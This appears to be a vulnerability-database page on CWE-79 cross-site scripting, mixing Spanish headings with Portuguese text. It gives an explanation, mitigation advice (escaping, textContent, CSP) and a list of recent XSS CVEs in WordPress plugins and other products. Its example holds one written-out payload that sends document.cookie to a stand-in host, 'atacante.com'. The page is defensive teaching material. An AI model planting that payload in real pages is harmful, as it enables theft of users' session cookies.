Fallos del tipo CWE-79

30.470 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-48286HIGHWordPress ReDi Restaurant Reservation plugin <= 24.1209 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-22791HIGHWordPress offset writing theme <= 1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-1300MEDIUMResponsive Header Plugin <= 1.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via Settings ParametersEPSS 0.2%CVE-2025-11884LOWCross-site Scripting vulnerability discovered in OpenText™ Universal Discovery and CMDBEPSS 0.2%CVE-2025-31464MEDIUMWordPress Text Selection Color plugin <= 1.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2024-10029MEDIUMIn Eclipse GlassFish version 7.0.15 is possible to perform Reflected Cross-site scripting attacks in the Administration Console.EPSS 0.2%CVE-2026-6246MEDIUMSimple Random Posts Shortcode <= 0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'container_right_width' Shortcode AttributeEPSS 0.2%CVE-2022-44759MEDIUMHCL Leap is affected by Cross-site scripting (XSS)EPSS 0.2%CVE-2025-62267MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in web content template’s select structure page in Liferay Portal 7.4.3.35 through 7.4.3EPSS 0.2%CVE-2025-22653MEDIUMWordPress Music Press Pro plugin <=1.4.6 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-63066MEDIUMWordPress Porto Theme - Functionality plugin < 3.7.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2020-36960MEDIUMForma LMS 2.3 - 'First & Last Name' Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-22674MEDIUMWordPress Product Blocks for WooCommerce plugin <= 1.9.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-46250MEDIUMWordPress VForm plugin <= 3.1.14 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%CVE-2026-27360MEDIUMWordPress Photo Gallery by 10Web plugin <= 1.8.38 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-7222MEDIUMcode-projects Coaching Management System Complaint Form complaint.php cross site scriptingEPSS 0.2%CVE-2025-31627MEDIUMWordPress Media Library Assistant plugin <= 3.24 - Stored Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-4032MEDIUMCodeColorer <= 0.10.1 - Unauthenticated Stored Cross-Site Scripting via 'class' attribute in 'cc' Comment ShortcodeEPSS 0.2%CVE-2026-76346MEDIUMStored Cross-Site Scripting (XSS) through Splunk Web Dashboard Sparkline Format Options in Splunk EnterpriseEPSS 0.2%CVE-2025-31470MEDIUMWordPress Page Takeover plugin <= 1.1.6 - Cross Site Scripting (XSS) VulnerabilityEPSS 0.2%